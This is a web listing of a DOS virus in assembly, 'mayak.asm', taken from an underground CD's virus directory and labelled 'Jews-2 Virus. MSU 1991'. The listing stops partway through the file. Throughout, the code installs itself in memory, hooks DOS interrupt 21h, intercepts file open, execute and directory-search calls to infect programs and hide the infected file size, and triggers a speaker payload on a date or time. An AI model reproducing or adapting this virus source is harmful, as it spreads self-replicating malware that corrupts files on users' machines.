home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / mayak.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  28.2 KB  |  1,271 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                         ██
  10.  
  11. ;██                    MAYAK                         ██
  12.  
  13. ;██                                         ██
  14.  
  15. ;██      Created:   1-Aug-92                             ██
  16.  
  17. ;██      Passes:    5           Analysis Options on: none             ██
  18.  
  19. ;██                                         ██
  20.  
  21. ;██████████████████████████████████████████████████████████████████████████
  22.  
  23.  
  24.  
  25. data_1e        equ    0Ch
  26.  
  27. data_3e        equ    20h
  28.  
  29. data_4e        equ    24h
  30.  
  31. data_5e        equ    84h
  32.  
  33. data_6e        equ    90h
  34.  
  35. data_8e        equ    100h
  36.  
  37. data_9e        equ    917h            ;*
  38.  
  39. data_10e    equ    91Eh            ;*
  40.  
  41. data_11e    equ    5350h            ;*
  42.  
  43. data_14e    equ    927h            ;*
  44.  
  45. data_15e    equ    6
  46.  
  47. data_16e    equ    46h
  48.  
  49. data_17e    equ    60h
  50.  
  51.  
  52.  
  53. seg_a        segment    byte public
  54.  
  55.         assume    cs:seg_a, ds:seg_a
  56.  
  57.  
  58.  
  59.  
  60.  
  61.         org    100h
  62.  
  63.  
  64.  
  65. mayak        proc    far
  66.  
  67.  
  68.  
  69. start:
  70.  
  71. ;*        jmp    loc_6            ;*
  72.  
  73.         db    0E9h, 32h, 01h
  74.  
  75.         db     60h,0B9h, 00h, 20h
  76.  
  77.  
  78.  
  79. locloop_3:
  80.  
  81.         loop    locloop_3        ; Loop if cx > 0
  82.  
  83.  
  84.  
  85.         mov    al,0
  86.  
  87.         out    60h,al            ; port 60h, keybd data write
  88.  
  89.         int    20h            ; DOS program terminate
  90.  
  91.         push    ax
  92.  
  93.         push    cx
  94.  
  95.         push    si
  96.  
  97.         push    di
  98.  
  99.         push    ds
  100.  
  101.         push    es
  102.  
  103.         call    sub_2
  104.  
  105.  
  106.  
  107. mayak        endp
  108.  
  109.  
  110.  
  111. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  112.  
  113. ;                   SUBROUTINE
  114.  
  115. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  116.  
  117.  
  118.  
  119. sub_2        proc    near
  120.  
  121.         pop    si
  122.  
  123.         sub    si,9
  124.  
  125.         nop                ;*ASM fixup - sign extn byte
  126.  
  127.         push    cs
  128.  
  129.         pop    ds
  130.  
  131.         mov    [si+44h],cs
  132.  
  133.         nop                ;*ASM fixup - displacement
  134.  
  135.         mov    [si+62h],cs
  136.  
  137.         nop                ;*ASM fixup - displacement
  138.  
  139.         mov    [si+46h],bx
  140.  
  141.         nop                ;*ASM fixup - displacement
  142.  
  143.         mov    [si+48h],es
  144.  
  145.         nop                ;*ASM fixup - displacement
  146.  
  147.         mov    ax,[si+42h]
  148.  
  149.         mov    ds:data_15e,ax
  150.  
  151.         jmp    short $+2        ; delay for I/O
  152.  
  153.         cld                ; Clear direction
  154.  
  155.         mov    ax,7000h
  156.  
  157.         mov    es,ax
  158.  
  159.         xor    di,di            ; Zero register
  160.  
  161.         mov    cx,923h
  162.  
  163.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  164.  
  165.         mov    cx,7Bh
  166.  
  167.         rep    stosb            ; Rep when cx >0 Store al to es:[di]
  168.  
  169.         pop    es
  170.  
  171.         pop    ds
  172.  
  173.         pop    di
  174.  
  175.         pop    si
  176.  
  177.         pop    cx
  178.  
  179.         pop    ax
  180.  
  181. ;*        jmp    far ptr loc_2        ;*
  182.  
  183. sub_2        endp
  184.  
  185.  
  186.  
  187.         db    0EAh,0C1h, 00h, 68h, 02h
  188.  
  189.         out    3,al            ; port 3, DMA-1 bas&cnt ch 1
  190.  
  191.         xchg    dx,ds:data_11e[bx+si]
  192.  
  193.         push    cx
  194.  
  195.         push    dx
  196.  
  197.         push    si
  198.  
  199.         push    di
  200.  
  201.         push    ds
  202.  
  203.         push    es
  204.  
  205.         push    cs
  206.  
  207.         pop    ds
  208.  
  209.         les    di,dword ptr ds:data_17e    ; Load 32 bit ptr
  210.  
  211.         mov    si,91Eh
  212.  
  213.         cld                ; Clear direction
  214.  
  215.         movsw                ; Mov [si] to es:[di]
  216.  
  217.         movsw                ; Mov [si] to es:[di]
  218.  
  219.         movsb                ; Mov [si] to es:[di]
  220.  
  221. ;*        call    far ptr sub_1        ;*
  222.  
  223.         db     9Ah,0CCh, 00h, 68h, 02h
  224.  
  225.         mov    ax,0FEDAh
  226.  
  227.         int    21h            ; ??INT Non-standard interrupt
  228.  
  229.         cmp    ax,0ADEFh
  230.  
  231.         je    loc_4            ; Jump if equal
  232.  
  233.         push    cs
  234.  
  235.         pop    ds
  236.  
  237.         mov    ah,34h            ; '4'
  238.  
  239.         int    21h            ; DOS Services  ah=function 34h
  240.  
  241.                         ;  get DOS critical ptr es:bx
  242.  
  243.                         ;*  undocumented function
  244.  
  245.         mov    word ptr ds:[93Bh],bx
  246.  
  247.         mov    word ptr ds:[93Dh],es
  248.  
  249.         lds    si,dword ptr ds:data_16e    ; Load 32 bit ptr
  250.  
  251.         les    di,dword ptr [si+0Eh]    ; Load 32 bit ptr
  252.  
  253.         mov    cl,4
  254.  
  255.         shr    di,cl            ; Shift w/zeros fill
  256.  
  257.         inc    di
  258.  
  259.         mov    ax,es
  260.  
  261.         add    ax,di
  262.  
  263.         mov    es,ax
  264.  
  265.         mov    word ptr [si+0Eh],99Eh
  266.  
  267.         mov    [si+10h],es
  268.  
  269.         xor    di,di            ; Zero register
  270.  
  271.         push    cs
  272.  
  273.         pop    ds
  274.  
  275.         xor    si,si            ; Zero register
  276.  
  277.         cld                ; Clear direction
  278.  
  279.         mov    cx,99Eh
  280.  
  281.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  282.  
  283.         mov    di,data_14e
  284.  
  285.         mov    ds,cx
  286.  
  287.         mov    si,data_5e
  288.  
  289.         movsw                ; Mov [si] to es:[di]
  290.  
  291.         movsw                ; Mov [si] to es:[di]
  292.  
  293.         mov    [si-2],es
  294.  
  295.         mov    word ptr [si-4],147h
  296.  
  297.         mov    si,data_4e
  298.  
  299.         movsw                ; Mov [si] to es:[di]
  300.  
  301.         movsw                ; Mov [si] to es:[di]
  302.  
  303.         mov    [si-2],es
  304.  
  305.         mov    word ptr [si-4],384h
  306.  
  307.         mov    ah,2Ah            ; '*'
  308.  
  309.         int    21h            ; DOS Services  ah=function 2Ah
  310.  
  311.                         ;  get date, cx=year, dh=month
  312.  
  313.                         ;   dl=day, al=day-of-week 0=SUN
  314.  
  315.         call    sub_10
  316.  
  317.         sub    ax,word ptr cs:[917h]
  318.  
  319.         cmp    ax,5
  320.  
  321.         jb    loc_4            ; Jump if below
  322.  
  323.         mov    si,data_3e
  324.  
  325.         movsw                ; Mov [si] to es:[di]
  326.  
  327.         movsw                ; Mov [si] to es:[di]
  328.  
  329.         mov    [si-2],es
  330.  
  331.         mov    word ptr [si-4],2C2h
  332.  
  333. loc_4:
  334.  
  335.         pop    es
  336.  
  337.         pop    ds
  338.  
  339.         pop    di
  340.  
  341.         pop    si
  342.  
  343.         pop    dx
  344.  
  345.         pop    cx
  346.  
  347.         pop    bx
  348.  
  349.         pop    ax
  350.  
  351.         retf                ; Return far
  352.  
  353.         db    'Jews-2 Virus. MSU 1991'
  354.  
  355.         db     1Eh, 06h,0E8h, 00h, 00h, 5Eh
  356.  
  357.         db     81h,0EEh, 03h, 01h,0E8h,0CAh
  358.  
  359.         db     02h, 0Eh, 0Eh, 1Fh, 07h,0E8h
  360.  
  361.         db     25h, 03h, 07h, 8Ch,0C0h, 05h
  362.  
  363.         db     10h, 00h, 2Eh, 01h, 84h, 24h
  364.  
  365.         db     01h, 1Fh,0E8h,0FFh, 02h,0EAh
  366.  
  367.         db     00h
  368.  
  369.         db    0, 0, 0
  370.  
  371. loc_6:
  372.  
  373.         call    sub_3
  374.  
  375.  
  376.  
  377. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  378.  
  379. ;                   SUBROUTINE
  380.  
  381. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  382.  
  383.  
  384.  
  385. sub_3        proc    near
  386.  
  387.         pop    si
  388.  
  389.         sub    si,129h
  390.  
  391.         call    sub_5
  392.  
  393.         push    si
  394.  
  395.         mov    di,data_8e
  396.  
  397.         add    si,data_10e
  398.  
  399.         movsw                ; Mov [si] to es:[di]
  400.  
  401.         movsb                ; Mov [si] to es:[di]
  402.  
  403.         pop    si
  404.  
  405.         call    sub_8
  406.  
  407.         mov    ax,100h
  408.  
  409.         push    ax
  410.  
  411.         call    sub_7
  412.  
  413.         retn
  414.  
  415. sub_3        endp
  416.  
  417.  
  418.  
  419.         pushf                ; Push flags
  420.  
  421.         cmp    ax,0FEDAh
  422.  
  423.         jne    loc_7            ; Jump if not equal
  424.  
  425.         mov    ax,0ADEFh
  426.  
  427.         les    bx,dword ptr cs:[927h]    ; Load 32 bit ptr
  428.  
  429.         popf                ; Pop flags
  430.  
  431.         iret                ; Interrupt return
  432.  
  433. loc_7:
  434.  
  435.         push    bx
  436.  
  437.         push    cx
  438.  
  439.         push    dx
  440.  
  441.         push    di
  442.  
  443.         push    si
  444.  
  445.         push    bp
  446.  
  447.         push    ds
  448.  
  449.         push    es
  450.  
  451.         xor    si,si            ; Zero register
  452.  
  453.         call    sub_5
  454.  
  455.         cmp    ah,3Ch            ; '<'
  456.  
  457.         je    loc_13            ; Jump if equal
  458.  
  459.         cmp    ah,5Bh            ; '['
  460.  
  461.         je    loc_13            ; Jump if equal
  462.  
  463.         cmp    ah,3Dh            ; '='
  464.  
  465.         je    loc_15            ; Jump if equal
  466.  
  467.         cmp    ah,3Eh            ; '>'
  468.  
  469.         je    loc_17            ; Jump if equal
  470.  
  471.         cmp    ah,4Bh            ; 'K'
  472.  
  473.         jne    loc_10            ; Jump if not equal
  474.  
  475.         jmp    loc_20
  476.  
  477. loc_10:
  478.  
  479.         cmp    ah,4Eh            ; 'N'
  480.  
  481.         jne    loc_11            ; Jump if not equal
  482.  
  483.         jmp    loc_26
  484.  
  485. loc_11:
  486.  
  487.         cmp    ah,4Fh            ; 'O'
  488.  
  489.         jne    loc_12            ; Jump if not equal
  490.  
  491.         jmp    loc_28
  492.  
  493. loc_12:
  494.  
  495.         jmp    loc_31
  496.  
  497. loc_13:
  498.  
  499.         int    3            ; Debug breakpoint
  500.  
  501.         jnc    loc_14            ; Jump if carry=0
  502.  
  503.         jmp    loc_29
  504.  
  505. loc_14:
  506.  
  507.         push    ax
  508.  
  509.         call    sub_12
  510.  
  511.         pop    bx
  512.  
  513.         mov    byte ptr cs:[943h][bx],al
  514.  
  515.         mov    byte ptr cs:[957h][bx],ah
  516.  
  517.         mov    ax,bx
  518.  
  519.         jmp    loc_30
  520.  
  521. loc_15:
  522.  
  523.         push    ax
  524.  
  525.         mov    al,2
  526.  
  527.         int    3            ; Debug breakpoint
  528.  
  529.         jnc    loc_16            ; Jump if carry=0
  530.  
  531.         pop    ax
  532.  
  533.         jmp    loc_31
  534.  
  535. loc_16:
  536.  
  537.         pop    bx
  538.  
  539.         push    ax
  540.  
  541.         call    sub_12
  542.  
  543.         pop    bx
  544.  
  545.         mov    byte ptr cs:[943h][bx],al
  546.  
  547.         mov    byte ptr cs:[957h][bx],ah
  548.  
  549.         call    sub_21
  550.  
  551.         mov    ax,bx
  552.  
  553.         jmp    loc_30
  554.  
  555. loc_17:
  556.  
  557.         push    ax
  558.  
  559.         push    cs
  560.  
  561.         pop    ds
  562.  
  563.         cmp    bx,5
  564.  
  565.         jb    loc_19            ; Jump if below
  566.  
  567.         cmp    bx,18h
  568.  
  569.         ja    loc_19            ; Jump if above
  570.  
  571.         mov    al,byte ptr ds:[943h][bx]
  572.  
  573.         mov    ah,byte ptr ds:[957h][bx]
  574.  
  575.         mov    byte ptr ds:[943h][bx],0
  576.  
  577.         mov    byte ptr ds:[957h][bx],0
  578.  
  579.         cmp    al,2
  580.  
  581.         jb    loc_18            ; Jump if below
  582.  
  583.         cmp    ah,2
  584.  
  585.         jbe    loc_19            ; Jump if below or =
  586.  
  587. loc_18:
  588.  
  589.         call    sub_20
  590.  
  591. loc_19:
  592.  
  593.         pop    ax
  594.  
  595.         jmp    loc_31
  596.  
  597. loc_20:
  598.  
  599.         mov    word ptr cs:[99Ah],dx
  600.  
  601.         mov    word ptr cs:[99Ch],ds
  602.  
  603.         push    ax
  604.  
  605.         call    sub_12
  606.  
  607.         mov    word ptr cs:[998h],ax
  608.  
  609.         push    ax
  610.  
  611.         mov    ax,3D02h
  612.  
  613.         int    3            ; Debug breakpoint
  614.  
  615.         mov    bx,ax
  616.  
  617.         pop    ax
  618.  
  619.         pop    cx
  620.  
  621.         push    cx
  622.  
  623.         jc    loc_25            ; Jump if carry Set
  624.  
  625.         and    cl,cl
  626.  
  627.         jz    loc_23            ; Jump if zero
  628.  
  629.         call    sub_21
  630.  
  631.         mov    ah,3Eh            ; '>'
  632.  
  633.         int    3            ; Debug breakpoint
  634.  
  635.         pop    ax
  636.  
  637.         call    sub_4
  638.  
  639.         pop    bx
  640.  
  641.         call    dword ptr cs:[927h]
  642.  
  643.         pushf                ; Push flags
  644.  
  645.         push    bx
  646.  
  647.         push    cx
  648.  
  649.         push    dx
  650.  
  651.         push    di
  652.  
  653.         push    si
  654.  
  655.         push    bp
  656.  
  657.         push    ds
  658.  
  659.         push    es
  660.  
  661.         push    ax
  662.  
  663.         xor    si,si            ; Zero register
  664.  
  665.         call    sub_5
  666.  
  667.         mov    ax,word ptr cs:[998h]
  668.  
  669.         lds    dx,dword ptr cs:[99Ah]    ; Load 32 bit ptr
  670.  
  671.         cmp    al,2
  672.  
  673.         jb    loc_22            ; Jump if below
  674.  
  675.         cmp    ah,2
  676.  
  677.         ja    loc_22            ; Jump if above
  678.  
  679. loc_21:
  680.  
  681.         pop    ax
  682.  
  683.         call    sub_4
  684.  
  685.         pop    bx
  686.  
  687.         popf                ; Pop flags
  688.  
  689.         retf    2            ; Return far
  690.  
  691. loc_22:
  692.  
  693.         push    ax
  694.  
  695.         mov    ax,3D02h
  696.  
  697.         int    3            ; Debug breakpoint
  698.  
  699.         mov    bx,ax
  700.  
  701.         pop    ax
  702.  
  703.         jc    loc_21            ; Jump if carry Set
  704.  
  705.         call    sub_20
  706.  
  707.         mov    ah,3Eh            ; '>'
  708.  
  709.         int    3            ; Debug breakpoint
  710.  
  711.         jmp    short loc_21
  712.  
  713. loc_23:
  714.  
  715.         cmp    al,2
  716.  
  717.         jb    loc_24            ; Jump if below
  718.  
  719.         cmp    ah,2
  720.  
  721.         jbe    loc_25            ; Jump if below or =
  722.  
  723. loc_24:
  724.  
  725.         call    sub_20
  726.  
  727. loc_25:
  728.  
  729.         mov    ah,3Eh            ; '>'
  730.  
  731.         int    3            ; Debug breakpoint
  732.  
  733.         pop    ax
  734.  
  735.         jmp    short loc_31
  736.  
  737. loc_26:
  738.  
  739.         int    3            ; Debug breakpoint
  740.  
  741.         jc    loc_29            ; Jump if carry Set
  742.  
  743.         mov    ah,2Fh            ; '/'
  744.  
  745.         int    21h            ; DOS Services  ah=function 2Fh
  746.  
  747.                         ;  get DTA ptr into es:bx
  748.  
  749.         push    es
  750.  
  751.         pop    ds
  752.  
  753. loc_27:
  754.  
  755.         mov    ax,[bx+16h]
  756.  
  757.         and    ax,1Fh
  758.  
  759.         cmp    ax,1Fh
  760.  
  761.         jne    loc_30            ; Jump if not equal
  762.  
  763.         sub    word ptr [bx+1Ah],923h
  764.  
  765.         sbb    word ptr [bx+1Ch],0
  766.  
  767.         and    word ptr [bx+16h],0FFE0h
  768.  
  769.         jmp    short loc_30
  770.  
  771. loc_28:
  772.  
  773.         int    3            ; Debug breakpoint
  774.  
  775.         mov    bx,dx
  776.  
  777.         jnc    loc_27            ; Jump if carry=0
  778.  
  779. loc_29:
  780.  
  781.         call    sub_4
  782.  
  783.         pop    bx
  784.  
  785.         popf                ; Pop flags
  786.  
  787.         stc                ; Set carry flag
  788.  
  789.         retf    2            ; Return far
  790.  
  791. loc_30:
  792.  
  793.         call    sub_4
  794.  
  795.         pop    bx
  796.  
  797.         popf                ; Pop flags
  798.  
  799.         clc                ; Clear carry flag
  800.  
  801.         retf    2            ; Return far
  802.  
  803. loc_31:
  804.  
  805.         call    sub_4
  806.  
  807.         pop    bx
  808.  
  809.         popf                ; Pop flags
  810.  
  811.         jmp    dword ptr cs:[927h]
  812.  
  813.         push    ax
  814.  
  815.         push    cx
  816.  
  817.         push    dx
  818.  
  819.         push    si
  820.  
  821.         push    ds
  822.  
  823.         push    es
  824.  
  825.         push    cs
  826.  
  827.         pop    ds
  828.  
  829.         cmp    byte ptr ds:[34Eh],0
  830.  
  831.         jne    loc_32            ; Jump if not equal
  832.  
  833.         les    si,dword ptr ds:[93Bh]    ; Load 32 bit ptr
  834.  
  835.         cmp    byte ptr es:[si],0
  836.  
  837.         jne    $+6Ah            ; Jump if not equal
  838.  
  839.         mov    ah,2Ch            ; ','
  840.  
  841.         int    21h            ; DOS Services  ah=function 2Ch
  842.  
  843.                         ;  get time, cx=hrs/min, dx=sec
  844.  
  845.         mov    dl,cl
  846.  
  847.         cmp    dx,1E3Bh
  848.  
  849.         jne    $+5Eh            ; Jump if not equal
  850.  
  851.         mov    byte ptr ds:[34Eh],1
  852.  
  853.         mov    byte ptr ds:[947h],1
  854.  
  855.         mov    word ptr ds:[943h],34Fh
  856.  
  857. loc_32:
  858.  
  859.         dec    byte ptr ds:[34Eh]
  860.  
  861.         jnz    $+48h            ; Jump if not zero
  862.  
  863.         mov    si,word ptr ds:[943h]
  864.  
  865.         cld                ; Clear direction
  866.  
  867. loc_33:
  868.  
  869.         lodsb                ; String [si] to al
  870.  
  871.         mov    byte ptr ds:[34Eh],al
  872.  
  873.         and    al,al
  874.  
  875.         jnz    loc_35            ; Jump if not zero
  876.  
  877.         dec    byte ptr ds:[947h]
  878.  
  879.         jz    loc_34            ; Jump if zero
  880.  
  881.         mov    si,word ptr ds:[945h]
  882.  
  883.         jmp    short loc_33
  884.  
  885. loc_34:
  886.  
  887.         lodsb                ; String [si] to al
  888.  
  889.         mov    word ptr ds:[945h],si
  890.  
  891.         mov    byte ptr ds:[947h],al
  892.  
  893.         and    al,al
  894.  
  895.         jnz    loc_33            ; Jump if not zero
  896.  
  897.         jmp    short $+21h
  898.  
  899. loc_35:
  900.  
  901.         lodsw                ; String [si] to ax
  902.  
  903.         mov    cx,ax
  904.  
  905.         mov    word ptr ds:[943h],si
  906.  
  907.         mov    al,0B6h
  908.  
  909.         out    43h,al            ; port 43h, 8253 wrt timr mode
  910.  
  911.         mov    dx,12h
  912.  
  913.         mov    ax,34DDh
  914.  
  915.         div    cx            ; ax,dx rem=dx:ax/reg
  916.  
  917.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  918.  
  919.         mov    al,ah
  920.  
  921.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  922.  
  923.         in    al,61h            ; port 61h, 8255 port B, read
  924.  
  925.         or    al,3
  926.  
  927.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  928.  
  929.         pop    es
  930.  
  931.         pop    ds
  932.  
  933.         pop    si
  934.  
  935.         pop    dx
  936.  
  937.         pop    cx
  938.  
  939.         pop    ax
  940.  
  941.         jmp    dword ptr cs:[92Fh]
  942.  
  943.         add    [bx+si],al
  944.  
  945.         add    ax,[bx]
  946.  
  947.         into                ; Int 4 on overflow
  948.  
  949.         add    al,[bx]
  950.  
  951.         push    si
  952.  
  953.         add    ax,[bx]
  954.  
  955.         xor    al,4
  956.  
  957.         pop    es
  958.  
  959.         push    si
  960.  
  961.         add    cx,word ptr ds:[3BFh]
  962.  
  963.         pop    es
  964.  
  965.         push    si
  966.  
  967.         add    ax,[bx]
  968.  
  969.         add    cx,word ptr es:[434h]
  970.  
  971.         push    cs
  972.  
  973.         mov    di,1103h
  974.  
  975.         into                ; Int 4 on overflow
  976.  
  977.         add    dh,[bp+si]
  978.  
  979.         db    0FFh,0FFh, 00h, 05h, 02h,0E8h
  980.  
  981.         db     03h, 10h,0FFh,0FFh, 00h, 01h
  982.  
  983.         db     09h,0E8h, 03h, 01h,0FFh,0FFh
  984.  
  985.         db     00h, 00h, 50h, 1Eh,0E4h, 60h
  986.  
  987.         db     3Ch, 53h, 75h, 35h,0B8h, 40h
  988.  
  989.         db     00h, 8Eh,0D8h,0A0h, 17h, 00h
  990.  
  991.         db     24h, 0Ch, 3Ch, 0Ch, 75h, 27h
  992.  
  993.         db    0C7h, 06h, 72h, 00h, 34h, 12h
  994.  
  995.         db    0E4h, 61h, 8Ah,0E0h, 0Ch, 80h
  996.  
  997.         db    0E6h, 61h, 86h,0E0h,0E6h, 61h
  998.  
  999.         db    0B0h, 20h,0E6h, 20h, 33h,0F6h
  1000.  
  1001.         db    0E8h, 20h, 00h, 0Eh, 0Eh, 1Fh
  1002.  
  1003.         db     07h,0E8h, 7Bh, 00h,0EAh,0F0h
  1004.  
  1005.         db    0FFh, 00h,0F0h
  1006.  
  1007.         db     1Fh, 58h, 2Eh,0FFh, 2Eh, 2Bh
  1008.  
  1009.         db     09h
  1010.  
  1011.  
  1012.  
  1013. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1014.  
  1015. ;                   SUBROUTINE
  1016.  
  1017. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1018.  
  1019.  
  1020.  
  1021. sub_4        proc    near
  1022.  
  1023.         call    sub_6
  1024.  
  1025.         pop    bx
  1026.  
  1027.         pop    es
  1028.  
  1029.         pop    ds
  1030.  
  1031.         pop    bp
  1032.  
  1033.         pop    si
  1034.  
  1035.         pop    di
  1036.  
  1037.         pop    dx
  1038.  
  1039.         pop    cx
  1040.  
  1041.         jmp    bx            ;*Register jump
  1042.  
  1043.  
  1044.  
  1045. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1046.  
  1047.  
  1048.  
  1049. sub_5:
  1050.  
  1051.         push    ax
  1052.  
  1053.         push    bx
  1054.  
  1055.         push    ds
  1056.  
  1057.         push    es
  1058.  
  1059.         xor    ax,ax            ; Zero register
  1060.  
  1061.         mov    ds,ax
  1062.  
  1063.         les    ax,dword ptr ds:data_1e    ; Load 32 bit ptr
  1064.  
  1065.         mov    word ptr cs:[933h][si],ax
  1066.  
  1067.         mov    word ptr cs:[935h][si],es
  1068.  
  1069.         mov    ax,0FEDAh
  1070.  
  1071.         int    21h            ; ??INT Non-standard interrupt
  1072.  
  1073.         cmp    ax,0ADEFh
  1074.  
  1075.         je    loc_37            ; Jump if equal
  1076.  
  1077.         les    bx,dword ptr ds:data_5e    ; Load 32 bit ptr
  1078.  
  1079. loc_37:
  1080.  
  1081.         mov    ds:data_1e,bx
  1082.  
  1083.         mov    word ptr ds:data_1e+2,es
  1084.  
  1085.         pop    es
  1086.  
  1087.         pop    ds
  1088.  
  1089.         pop    bx
  1090.  
  1091.         pop    ax
  1092.  
  1093.         retn
  1094.  
  1095. sub_4        endp
  1096.  
  1097.  
  1098.  
  1099.  
  1100.  
  1101. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1102.  
  1103. ;                   SUBROUTINE
  1104.  
  1105. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1106.  
  1107.  
  1108.  
  1109. sub_6        proc    near
  1110.  
  1111.         push    ax
  1112.  
  1113.         push    ds
  1114.  
  1115.         push    es
  1116.  
  1117.         xor    ax,ax            ; Zero register
  1118.  
  1119.         mov    ds,ax
  1120.  
  1121.         les    ax,dword ptr cs:[933h][si]    ; Load 32 bit ptr
  1122.  
  1123.         mov    ds:data_1e,ax
  1124.  
  1125.         mov    word ptr ds:data_1e+2,es
  1126.  
  1127.         pop    es
  1128.  
  1129.         pop    ds
  1130.  
  1131.         pop    ax
  1132.  
  1133.         retn
  1134.  
  1135. sub_6        endp
  1136.  
  1137.  
  1138.  
  1139.         db    0B0h, 03h,0CFh
  1140.  
  1141.  
  1142.  
  1143. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1144.  
  1145. ;                   SUBROUTINE
  1146.  
  1147. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1148.  
  1149.  
  1150.  
  1151. sub_7        proc    near
  1152.  
  1153.         call    sub_6
  1154.  
  1155.         xor    ax,ax            ; Zero register
  1156.  
  1157.         xor    bx,bx            ; Zero register
  1158.  
  1159.         mov    cx,0FFh
  1160.  
  1161.         mov    dx,cs
  1162.  
  1163.         mov    di,sp
  1164.  
  1165.         add    di,4
  1166.  
  1167.         mov    si,100h
  1168.  
  1169.         xor    bp,bp            ; Zero register
  1170.  
  1171.         retn
  1172.  
  1173. sub_7        endp
  1174.  
  1175.  
  1176.  
  1177.  
  1178.  
  1179. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1180.  
  1181. ;                   SUBROUTINE
  1182.  
  1183. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1184.  
  1185.  
  1186.  
  1187. sub_8        proc    near
  1188.  
  1189.         mov    ah,2Ah            ; '*'
  1190.  
  1191.         int    3            ; Debug breakpoint
  1192.  
  1193.         call    sub_10
  1194.  
  1195.         mov    word ptr ds:[917h][si],ax
  1196.  
  1197.         mov    ax,3D00h
  1198.  
  1199.         lea    dx,[si+4F0h]        ; Load effective addr
  1200.  
  1201.         int    3            ; Debug breakpoint
  1202.  
  1203.         mov    bx,ax
  1204.  
  1205.         jnc    loc_38            ; Jump if carry=0
  1206.  
  1207.         retn
  1208.  
  1209. loc_38:
  1210.  
  1211.         mov    ah,3Fh            ; '?'
  1212.  
  1213.         lea    dx,[si+970h]        ; Load effective addr
  1214.  
  1215.         mov    cx,28h
  1216.  
  1217.         int    3            ; Debug breakpoint
  1218.  
  1219.         and    ax,ax
  1220.  
  1221.         jnz    loc_39            ; Jump if not zero
  1222.  
  1223.         jmp    loc_46
  1224.  
  1225. loc_39:
  1226.  
  1227.         mov    cx,ax
  1228.  
  1229.         mov    di,dx
  1230.  
  1231.         mov    al,0Dh
  1232.  
  1233.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1234.  
  1235.         jnz    loc_38            ; Jump if not zero
  1236.  
  1237.         mov    byte ptr [di-1],20h    ; ' '
  1238.  
  1239.         neg    cx
  1240.  
  1241.         inc    cx
  1242.  
  1243.         mov    ax,cx
  1244.  
  1245.         cwd                ; Word to double word
  1246.  
  1247.         xchg    cx,dx
  1248.  
  1249.         mov    ax,4201h
  1250.  
